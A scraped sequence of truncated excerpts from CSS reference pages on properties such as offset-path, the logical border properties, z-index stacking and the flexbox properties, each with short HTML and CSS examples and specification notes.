basic example <div id="motion-demo"></div> #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px;
background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } reference properties offset offset-anchor offset-distance offset-path offset-position offset-rotate specifications specification status comment motion path module level 1 working draft initial definition.
Stacking context example 2 - CSS: Cascading Style Sheets
example source code <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <html> <head><style type="text/css"> div { font: 12px arial; } span.bold { font-weight: bold; } #div2 { z-index: 2; } #div3 { z-index: 1; } #div4 { z-index: 10; } #div1,#div3 { height: 80px; position: relative; border: 1px dashed #669966;
background-color: #ccffcc; padding-left: 5px; } #div2 { opacity: 0.8; position: absolute; width: 150px; height: 200px; top: 20px; left: 170px; border: 1px dashed #990000;
background-color: #ffdddd; text-align: center; } #div4 { opacity: 0.8; position: absolute; width: 200px; height: 70px; top: 65px; left: 50px; border: 1px dashed #000099;
backgro...
CSS Properties Reference - CSS: Cascading Style Sheets
css javascript
background
background
background-attachment
backgroundattachment
background-color
backgroundcolor
background-image
backgroundimage
background-position
backgroundposition
background-repeat
backgroundrepeat border border border-bottom borderbottom border-bottom-color borderbottomcolor border-botto...
CSS Transforms - CSS: Cascading Style Sheets
reference properties
backface-visibility perspective perspective-origin rotate scale transform transform-box transform-origin transform-style translate data types <transform-function> guides using css transforms step-by-step tutorial about how to transform elements styled with css.
CSS data types - CSS: Cascading Style Sheets
index the data types defined by the set of css specifications include the following: <angle> <angle-percentage> <angular-color-hint> <angular-color-stop> <attr-fall
back> <attr-name> <basic-shape> <blend-mode> <calc-product> <calc-sum> <calc-value> <color> <color-stop> <color-stop-angle> <counter-style> <custom-ident> <dimension> <filter-function> <flex> <frequency> <frequency-percentage> <gradient> <ident> <image> <integer> <length> <length-percentage> <number> <number-percentage> <percentage> <position> <quote> <ratio> <resolution> ...
Animatable CSS properties - CSS: Cascading Style Sheets
the animatable properties are: -moz-outline-radius -moz-outline-radius-bottomleft -moz-outline-radius-bottomright -moz-outline-radius-topleft -moz-outline-radius-topright -webkit-line-clamp -webkit-text-fill-color -webkit-text-stroke -webkit-text-stroke-color all
backdrop-filter
background
background-color
background-position
background-size block-size border border-block-end border-block-end-color border-block-end-width border-block-start border-block-start-color border-block-start-width border-bottom border-bottom-color border-bottom-left-radius border-bottom-right-radius bo...
Class selectors - CSS: Cascading Style Sheets
margin: 2em; } /* all <li> elements with a class list that includes both "spacious" and "elegant" */ /* for example, class="elegant retro spacious" */ li.spacious.elegant { margin: 2em; } syntax .class_name { style properties } note that this is equivalent to the following attribute selector: [class~=class_name] { style properties } examples css .red { color: #f33; } .yellow-bg {
background: #ffa; } .fancy { font-weight: bold; text-shadow: 4px 4px 3px #77f; } html <p class="red">this paragraph has red text.</p> <p class="red yellow-bg">this paragraph has red text and a yellow
background.</p> <p class="red fancy">this paragraph has red text and "fancy" styling.</p> <p>this is just a regular paragraph.</p> result specifications specification status c...
Column combinator - CSS: Cascading Style Sheets
/* table cells that belong to the "selected" column */ col.selected || td {
background: gray; } syntax column-selector || cell-selector { /* style properties */ } examples html <table border="1"> <colgroup> <col span="2"/> <col class="selected"/> </colgroup> <tbody> <tr> <td>a <td>b <td>c </tr> <tr> <td colspan="2">d</td> <td>e</td> </tr> <tr> <td>f</td> <td colspan="2">g</td> </tr> </tbody> </table> css col.selected || td {
background: gray; color: white; font-weight: bold; } result specifications ...
block-size - CSS: Cascading Style Sheets
formal definition initial valueautoapplies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as width and heightanimation typea length, percentage or calc(); formal syntax <'width'> examples block size with vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl;
background-color: yellow; block-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'block-size' in that specification.
border-block-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typediscrete formal syntax <'border-top-color'>{1,2} examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-color' in that specification.
border-block-end-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-end-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-color' in that specification.
border-block-end-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-end-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-style' in that specification.
border-block-end-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples border width with veritcal text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-end-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-width' in that specification.
border-block-end - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block-end: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end' in that specification.
border-block-start-color - CSS: Cascading Style Sheets
values <'color'> see border-color formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-start-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-color' in that specification.
border-block-start-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border wtih vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-start-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-style' in that specification.
border-block-start-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples border width with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-start-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-width' in that specification.
border-block-start - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block-start: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-block-start' in that specification.
border-block-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-style' in that specification.
border-block-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typediscrete formal syntax <'border-top-width'> examples border width with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-width' in that specification.
border-block - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block' in that specification.
border-bottom-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-bottom-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-bottom-color' in that specification.
border-bottom-width - CSS: Cascading Style Sheets
ine-width>where <line-width> = <length> | thin | medium | thick examples comparing bottom border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-bottom-width: thick; } div:nth-child(2) { border-bottom-width: 2em; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-bottom-width' in that specification.
border-bottom - CSS: Cascading Style Sheets
</div> css div { border-bottom: 4px dashed blue;
background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-bottom' in that specification.
border-end-end-radius - CSS: Cascading Style Sheets
t-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage> examples border radius with vertical text html <div> <p class="exampletext">example</p> </div> css content div {
background-color: rebeccapurple; width: 120px; height: 120px; border-end-end-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px;
background-color: #fff; border-end-end-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-end-end-radius' in that specific...
border-end-start-radius - CSS: Cascading Style Sheets
o ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage> examples border radius with vertical text html <div> <p class="exampletext">example</p> </div> css div {
background-color: rebeccapurple; width: 120px; height: 120px; border-end-start-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px;
background-color: #fff; border-end-start-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-end-start-radius' in that sp...
border-image-outset - CSS: Cascading Style Sheets
it also applies to ::first-letter.inheritednocomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typeby computed value type formal syntax [ <length> | <number> ]{1,4} examples outsetting a border image html <div id="outset">this element has an outset border image!</div> css #outset { width: 10rem;
background: #cef; border: 1.4rem solid; border-image: radial-gradient(#ff2, #55f) 40; border-image-outset: 1.5; /* 1.5 × 1.4rem = 2.1rem */ margin: 2.1rem; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-image-outset' in that specification.
border-image-repeat - CSS: Cascading Style Sheets
etch repeat">stretch repeat</option> <option value="space round">space round</option> </select> javascript var repetition = document.getelementbyid("repetition"); repetition.addeventlistener("change", function (evt) { document.getelementbyid("bordered").style.borderimagerepeat = evt.target.value; }); results specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-image-repeat' in that specification.
border-image-width - CSS: Cascading Style Sheets
stet clita kasd gubergren, no sea takimata sanctus est lorem ipsum dolor sit amet.</p> css p { border: 20px solid; border-image: url("/static/external/21/214842819586a8dd293c17b38d0fd0e26430146a86dd04294a53ecaeeea7d0e2.png") 30 round; border-image-width: 16px; padding: 40px; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-image-width' in that specification.
border-inline-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typediscrete formal syntax <'border-top-color'>{1,2} examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-color' in that specification.
border-inline-end-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-end-color: red; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-color' in that specification.
border-inline-end-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-end-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-style' in that specification.
border-inline-end-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples applying a border with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-end-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-width' in that specification.
border-inline-end - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline-end: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end' in that specification.
border-inline-start-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-start-color: red; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-color' in that specification.
border-inline-start-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-start-style: dashed; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-style' in that specification.
border-inline-start-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-start-width: 5px; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-width' in that specification.
border-inline-start - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline-start: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start' in that specification.
border-inline-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html content <div> <p class="exampletext">example text</p> </div> css content div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-style: dashed; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-style' in that specification.
border-inline-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typediscrete formal syntax <'border-top-width'> examples html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-width: 5px 10px; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-width' in that specification.
border-inline - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline' in that specification.
border-left-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-left-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-left-color' in that specification.
border-left-width - CSS: Cascading Style Sheets
syntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-left-width: thick; } div:nth-child(2) { border-left-width: 2em; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-left-width' in that specification.
border-left - CSS: Cascading Style Sheets
</div> css div { border-left: 4px dashed blue;
background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-left' in that specification.
border-right-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-right-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-right-color' in that specification.
border-right-width - CSS: Cascading Style Sheets
yntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-right-width: thick; } div:nth-child(2) { border-right-width: 2em; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-right-width' in that specification.
border-right - CSS: Cascading Style Sheets
</div> css div { border-right: 4px dashed blue;
background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-right' in that specification.
border-spacing - CSS: Cascading Style Sheets
html <table> <tr> <td>1</td><td>2</td><td>3</td> </tr> <tr> <td>4</td><td>5</td><td>6</td> </tr> <tr> <td>7</td><td>8</td><td>9</td> </tr> </table> css table { border-spacing: 1em .5em; padding: 0 2em 1em 0; border: 1px solid orange; } td { width: 1.5em; height: 1.5em;
background: #d2d2d2; text-align: center; vertical-align: middle; } result specifications specification status comment css level 2 (revision 1)the definition of 'border-spacing' in that specification.
border-start-end-radius - CSS: Cascading Style Sheets
o ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage> examples border radius with vertical text html <div> <p class="exampletext">example</p> </div> css div {
background-color: rebeccapurple; width: 120px; height: 120px; border-start-end-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px;
background-color: #fff; border-start-end-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-start-end-radius' in that sp...
border-start-start-radius - CSS: Cascading Style Sheets
o ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percentage> = <length> | <percentage> examples border radius with vertical text html <div> <p class="exampletext">example</p> </div> css div {
background-color: rebeccapurple; width: 120px; height: 120px; border-start-start-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px;
background-color: #fff; border-start-start-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-start-start-radius' in t...
border-top-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-top-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-top-color' in that specification.
border-top-width - CSS: Cascading Style Sheets
mation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-top-width: thick; } div:nth-child(2) { border-top-width: 2em; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-top-width' in that specification.
border-top - CSS: Cascading Style Sheets
</div> css div { border-top: 4px dashed blue;
background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-top' in that specification.
border-width - CSS: Cascading Style Sheets
al { border: ridge #ccc; border-width: 6px; } #bival { border: solid red; border-width: 2px 10px; } #treval { border: dotted orange; border-width: 0.3em 0 9px; } #fourval { border: solid lightgreen; border-width: thin medium thick 1em; } p { width: auto; margin: 0.25em; padding: 0.25em; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-width' in that specification.
border - CSS: Cascading Style Sheets
amazing, isn't it?</div> css div { border: 0.5rem outset pink; outline: 0.5rem solid khaki; box-shadow: 0 0 0 2rem skyblue; border-radius: 12px; font: bold 1rem sans-serif; margin: 2rem; padding: 1rem; outline-offset: 0.5rem; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border' in that specification.
bottom - CSS: Cascading Style Sheets
html <p>this<br>is<br>some<br>tall,<br>tall,<br>tall,<br>tall,<br>tall<br>content.</p> <div class="fixed"><p>fixed</p></div> <div class="absolute"><p>absolute</p></div> css p { font-size: 30px; line-height: 2em; } div { width: 48%; text-align: center;
background: rgba(55,55,55,.2); border: 1px solid blue; } .absolute { position: absolute; bottom: 0; left: 0; } .fixed { position: fixed; bottom: 0; right: 0; } result specifications specification status comment css positioned layout module level 3the definition of 'bottom' in that specification.
box-sizing - CSS: Cascading Style Sheets
html <div class="content-box">content box</div> <br> <div class="border-box">border box</div> css div { width: 160px; height: 80px; padding: 20px; border: 8px solid red;
background: yellow; } .content-box { box-sizing: content-box; /* total width: 160px + (2 * 20px) + (2 * 8px) = 216px total height: 80px + (2 * 20px) + (2 * 8px) = 136px content box width: 160px content box height: 80px */ } .border-box { box-sizing: border-box; /* total width: 160px total height: 80px content box width: 160px - (2 * 20px) - (2 * 8px) = 104px con...
calc() - CSS: Cascading Style Sheets
in this example, the css creates a banner that stretches across the window, with a 40-pixel gap between both sides of the banner and the edges of the window: .banner { position: absolute; left: 40px; width: calc(100% - 80px); border: solid black 1px; box-shadow: 1px 2px;
background-color: yellow; padding: 6px; text-align: center; box-sizing: border-box; } <div class="banner">this is a banner!</div> automatically sizing form fields to fit their container another use case for calc() is to help ensure that form fields fit in the available space, without extruding past the edge of their container, while maintaining an appropriate margin.
caret-color - CSS: Cascading Style Sheets
this is generally currentcolor, but the user agent may choose a different color to ensure good visibility and contrast with the surrounding content, taking into account the value of currentcolor, the
background, shadows, and other factors.
column-gap (grid-column-gap) - CSS: Cascading Style Sheets
to zero except on multi-column elementsanimation typea length, percentage or calc(); formal syntax normal | <length-percentage>where <length-percentage> = <length> | <percentage> examples flex layout html <div id="flexbox"> <div></div> <div></div> <div></div> </div> css #flexbox { display: flex; height: 100px; column-gap: 20px; } #flexbox > div { border: 1px solid green;
background-color: lime; flex: auto; } result grid layout html <div id="grid"> <div></div> <div></div> <div></div> </div> css #grid { grid-column-gap: 20px; } #grid { display: grid; height: 100px; grid-template-columns: repeat(3, 1fr); grid-template-rows: 100px; column-gap: 20px; } #grid > div { border: 1px solid green;
background-color: lime; } result multi-co...
column-rule - CSS: Cascading Style Sheets
</p> css .content-box { padding: 0.3em;
background: #ff7; column-count: 3; column-rule: inset 2px #33f; } result specifications specification status comment css multi-column layout modulethe definition of 'column-rule' in that specification.
content - CSS: Cascading Style Sheets
html <h2>paper
back best sellers</h2> <ol> <li>political thriller</li> <li class="new-entry">halloween stories</li> <li>my biography</li> <li class="new-entry">vampire romance</li> </ol> css .new-entry::after { content: " new!"; /* the leading space creates separation between the added content and the rest of the content */ color: red; } result image...
<custom-ident> - CSS: Cascading Style Sheets
it consists of one or more characters, where characters can be any of the following: any alphabetical character (a to z, or a to z), any decimal digit (0 to 9), a hyphen (-), an underscore (_), an escaped character (preceded by a
backslash, \), a unicode character (in the format of a
backslash, \, followed by one to six hexadecimal digits, representing its unicode code point) note that id1, id1, id1 and id1 are all different identifiers as they are case-sensitive.
<display-inside> - CSS: Cascading Style Sheets
html <div class="box"> <div class="float">i am a floated box!</div> <p>i am content inside the container.</p> </div> css .box {
background-color: rgb(224, 206, 247); border: 5px solid rebeccapurple; display: flow-root; } .float { float: left; width: 200px; height: 150px;
background-color: white; border:1px solid black; padding: 10px; } result specifications specification status css display module level 3the definition of 'display-inside' in that specification.
<easing-function> - CSS: Cascading Style Sheets
<option>ease-out</option> <option>cubic-bezier(0.1, -0.6, 0.2, 0)</option> <option>cubic-bezier(0, 1.1, 0.8, 4)</option> <option>steps(5, end)</option> <option>steps(3, start)</option> <option>steps(4)</option> </select> </li> </ul> css body > div { position: relative; height: 100px; } div > div { position: absolute; width: 50px; height: 50px;
background-color: blue;
background-image: radial-gradient(circle at 10px 10px, rgba(25,255,255,0.8),rgba(25,255,255,0.4)); border-radius: 50%; top: 25px; animation: 1.5s infinite alternate; } @keyframes move-right { from { left: 10%; } to { left: 90%; } } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } javascript const selec...
fit-content() - CSS: Cascading Style Sheets
</div> <div>flexible item</div> </div> css #container { display: grid; grid-template-columns: fit-content(300px) fit-content(300px) 1fr; grid-gap: 5px; box-sizing: border-box; height: 200px; width: 100%;
background-color: #8cffa0; padding: 10px; } #container > div {
background-color: #8ca0ff; padding: 5px; } result specifications specification status comment css box sizing module level 3the definition of 'fit-content()' in that specification.
flex-basis - CSS: Cascading Style Sheets
is test</li> <li class="flex flex3">3: flex-basis test</li> <li class="flex flex4">4: flex-basis test</li> <li class="flex flex5">5: flex-basis test</li> </ul> <ul class="container"> <li class="flex flex6">6: flex-basis test</li> </ul> css .container { font-family: arial, sans-serif; margin: 0; padding: 0; list-style-type: none; display: flex; flex-wrap: wrap; } .flex {
background: #6ab6d8; padding: 10px; margin-bottom: 50px; border: 3px solid #2e86bb; color: white; font-size: 14px; text-align: center; position: relative; } .flex:after { position: absolute; z-index: 1; left: 0; top: 100%; margin-top: 10px; width: 100%; color: #333; font-size: 12px; } .flex1 { flex-basis: auto; } .flex1:after { content: 'auto'; } .flex2 { flex-b...
flex-direction - CSS: Cascading Style Sheets
planations understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial valuerowapplies toflex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax row | row-reverse | column | column-reverse examples reversing flex container columns and rows html <h4>this is a column-reverse</h4> <div id="content"> <div class="box" style="
background-color:red;">a</div> <div class="box" style="
background-color:lightblue;">b</div> <div class="box" style="
background-color:yellow;">c</div> </div> <h4>this is a row-reverse</h4> <div id="content1"> <div class="box1" style="
background-color:red;">a</div> <div class="box1" style="
background-color:lightblue;">b</div> <div class="box1" style="
background-color:yellow;">c</div> </div> ...
flex-grow - CSS: Cascading Style Sheets
d and e are flex-grow:2 .</h5> <div id="content"> <div class="box" style="
background-color:red;">a</div> <div class="box" style="
background-color:lightblue;">b</div> <div class="box" style="
background-color:yellow;">c</div> <div class="box1" style="
background-color:brown;">d</div> <div class="box1" style="
background-color:lightgreen;">e</div> <div class="box" style="
background-color:brown;">f</div> </div> css #content { display: flex; justify-content: spac...
flex-shrink - CSS: Cascading Style Sheets
d and e have flex-shrink:2 set</p> <p>the width of d and e is less than the others.</p> <div id="content"> <div class="box" style="
background-color:red;">a</div> <div class="box" style="
background-color:lightblue;">b</div> <div class="box" style="
background-color:yellow;">c</div> <div class="box1" style="
background-color:brown;">d</div> <div class="box1" style="
background-color:lightgreen;">e</div> </div> css #content { display: flex; width: 500px; } #content div { flex-basis: 120px; border: 3px solid rgba(0,0...
flex-wrap - CSS: Cascading Style Sheets
for flex-wrap:wrap-reverse </h4> <div class="content2"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> css /* common styles */ .content, .content1, .content2 { color: #fff; font: 100 24px/100px sans-serif; height: 150px; text-align: center; } .content div, .content1 div, .content2 div { height: 50%; width: 300px; } .red {
background: orangered; } .green {
background: yellowgreen; } .blue {
background: steelblue; } /* flexbox styles */ .content { display: flex; flex-wrap: wrap; } .content1 { display: flex; flex-wrap: nowrap; } .content2 { display: flex; flex-wrap: wrap-reverse; } results specifications specification status comment css flexible box layo...
flex - CSS: Cascading Style Sheets
auto">auto</div> <div class="item none">none</div> </div> <div class="flex-container"> <div class="item initial">initial</div> <div class="item none">none</div> <div class="item none">none</div> </div> <div class="flex-container"> <div class="item four">4</div> <div class="item two">2</div> <div class="item one">1</div> </div> * { box-sizing: border-box; } .flex-container {
